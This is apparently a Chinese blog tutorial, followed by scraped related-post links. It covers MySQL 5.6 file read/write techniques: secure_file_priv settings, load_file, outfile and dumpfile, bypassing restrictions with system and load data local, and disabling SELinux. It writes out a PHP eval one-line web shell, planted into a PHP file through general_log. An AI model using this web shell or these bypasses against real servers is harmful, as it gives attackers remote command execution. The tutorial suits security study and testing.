环境:

centos7
mysql 5.6.47
用户:root@localhost

条件

mysql中涉及到读写操作,必然离不开secure_file_priv参数,它的值限制load data,select … outfile,load_file()函数可作用的文件位置。

secure_file_priv:
值为NULL表示禁止限制操作
值为某一目录,则只能操作该目录下的文件
没有值则表示不对读写文件进行限制
查询语句:
mysql:show global variables like "secure%";

读文件需满足条件:

 1. secure_file_priv值允许对该路径下的文件进行操作2. 当前数据库用户对文件有读权限3. 当前数据库用户拥有file权限查看方法举例:mysql> show grants for root@localhost;4. 知道文件的完整路径5. 文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。查看方法:mysql> show global variables like 'max_allowed%'; 修改方法:mysql> set global max_allowed_packet = 5*1024*1024;

写文件需满足条件:

1. secure_file_priv值允许对该路径下的文件进行操作2. 当前数据库用户对文件有写权限3. 当前数据库用户拥有file权限查看方法举例:mysql> show grants for root@localhost;4. 知道文件的完整路径5. 目标文件不存在

测试

secure_file_priv为固定值

使用system执行系统命令和load data infile语句加local选项绕过限制

注:
system执行系统命令适用版本为5.x。此方法只能在本地读取,远程连接mysql时无法使用system。无法越权读取。
--local选项使load data infile语句从客户主机读取文件

system读写文件:(强调一下system执行系统命令!)

load data local infile需要读取文件存储在数据表中:

当前数据库创建数据表:
create table mytable(file varchar(100));


secure_file_priv为空

修改/etc/my.cnf文件
[mysql]标志下面添加:secure_file_priv=’’
保存退出
重启mysql数据库:systemctl restart mysql

查看结果:

load data infile读文件

load_file()读文件:

outfile写文件:

dumpfile写文件:

限制用户使用读写函数

通过general_log和general_log_file实现文件的读写
mysql所有查询数据都会记录在general_log_file指定的文件中,有该文件的读权限。
默认general_log关闭。

因为涉及到文件的读写操作,所以还是受到secure_file_priv的限制。

打开general_log开关:
Set global general_log=’on’;
设置general_log_file储存路径:
Set global general_log_file=’/tmp/shell.php’;

写一句话:
mysql> select ‘<?php @eval($_POST["cmd"]); ?>’;

因为是一个php文件,所以其中的php一句话会被解析执行。

注意

当root用户对某些文件进行操作时会报permission denied错误

网上查询资料说是red hat系列的linux中selinux对哪些daemon可以进行怎么样的操作是有限制的,因此MySQL 负责读写的daemon同样受到selinux限制。
解决办法就是把selinux关闭。
操作办法:
修改/etc/selinux/config文件中的selinux的值为disabled。

保存后重启系统。
这种方法有人成功了,但是我没成功,因为我的config文件中selinux的值原本就是disabled(流汗)。

mysql数据库读写文件相关推荐

  1. mybatis获取mysql源数据类型_spring集成mybatis实现mysql数据库读写分离

    前言 在网站的用户达到一定规模后,数据库因为负载压力过高而成为网站的瓶颈.幸运的是目前大部分的主流数据库都提供主从热备功能,通过配置两台数据库主从关系,可以将一台数据库的数据更新同步到另一台服务器上. ...

  2. mysql数据库字段变形_详解如何利用amoeba(变形虫)实现mysql数据库读写分离

    摘要:这篇MySQL栏目下的"详解如何利用amoeba(变形虫)实现mysql数据库读写分离",介绍的技术点是"MySQL数据库.数据库读写分离.amoeba.MySQL ...

  3. 封装mysql数据库_快速掌握 Mysql数据库对文件操作的封装

    快速掌握 Mysql数据库对文件操作的封装 在查看Mysql对文件的操作中,它在不同的操作系统上对文件的操作,除了使用标准C运行库函数,包括open.close.seek等,在Win32下的文件和目录 ...

  4. Mysql注入读写文件

    Mysql注入读写文件 1.Mysql注入读文件 MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够). 读取前提: 1.用户权限 ...

  5. MySQL注入读写文件、HTTP头中的SQL注入和cookie注入

    MySQL注入读写文件 MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够) 读取前提: 1.用户权限足够高,尽量具有root权限 2. ...

  6. linux mysql 数据文件,Linux下修改MySQL数据库数据文件路径的步骤

    使用rpm安装方式安装完MySQL数据库后,数据文件的默认路径为/var/lib/mysql,然而根目录并不适合用于存储数据文件. 原路径:/var/lib/mysql 目标路径:/home/mysq ...

  7. 简单MySQL数据库SQL文件

    简单MySQL数据库SQL文件 Book数据库表范例+记录 /* Navicat MySQL Data TransferSource Server : pig Source Server Versio ...

  8. MySql 数据库数据文件进行恢复

    MySql 数据库数据文件进行恢复 偶尔某些意外导致mysql数据库出现问题,需要依靠 data文件夹下的 frm及ibd等文件进行恢复数据 首先新建一个数据库 1.将其命名为想要恢复的数据库名 2. ...

  9. Python全栈(五)Web安全攻防之7.MySQL注入读写文件和HTTP头中的SQL注入

    文章目录 一.MySQL注入读写文件 1.搭建新的测试环境(靶场) 2.读写文件概述 3.读取文件 4.写入文件 二.HTTP头中的SQL注入 1.HTTP头中的SQL注入介绍 updatexml函数 ...

最新文章

  1. 心音数据库_小V云端数据库 | 2020.9.14—2020.9.18
  2. sublime配置python开发环境_Sublime Text 配置Python3.7开发环境
  3. MySQL性能优化最佳实践 - 02 MySQL数据库性能衡量
  4. 40个Java多线程问题详解复习
  5. 计算机系统基础:输入输出技术知识笔记
  6. mysql连接规定时区以及编码_springboot项目中使用mysql连接遇到时区timezone问题,和编码encoding问题解决...
  7. 4.安卓基础之Activity跳转动画
  8. HDU 1568 Fibonacci【求斐波那契数的前4位/递推式】
  9. RocketMQ常见面试题
  10. echarts的入门案例
  11. 中职学校计算机教学中,中职学校计算机教学方式
  12. win10查看无线密码
  13. unity游戏开发之打包apk谷歌上架报错总结
  14. Netty高性能之道1-传统RPC调用性能差的三宗罪
  15. 【uva12345】Dynamic len
  16. 家居收纳打造一个美好的家-央央家政家居收纳
  17. Class::DBI模块简介
  18. 芦笋制品的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  19. PKI(公、私钥加密,数字签名、数字证书)技术理解
  20. C#用IIS发布网站后localhost打不开127.0.0.1可以打开

热门文章

  1. Jzoj5450【NOIP2017提高A组冲刺11.4】Neutral
  2. 电脑蓝牙耳机连接不稳定_一个困扰我半年的 macOS 蓝牙有时断连的问题终于解决了!...
  3. 【KVM相关】kvm虚拟化部署配置
  4. 大型门户网站的RBAC用户权限管理设计
  5. nPlayer Plus视频播放器 免越狱直装
  6. sony android mp3播放器,入手一年,详细聊聊 索尼ZX505、艾利和SR15 两款安卓播放器的使用体验...
  7. 2020 中国企业 500 强:华为投入研发 1317 亿、阿里 431 亿、中国移动 235 亿、百度 183 亿
  8. Java编写ATM机模拟系统(连接数据库)
  9. Node.js: redis 和 ioredis 的基本使用
  10. 树莓派php minicom,用DHT11实践树莓派与Arduino串口通信 | 树莓派实验室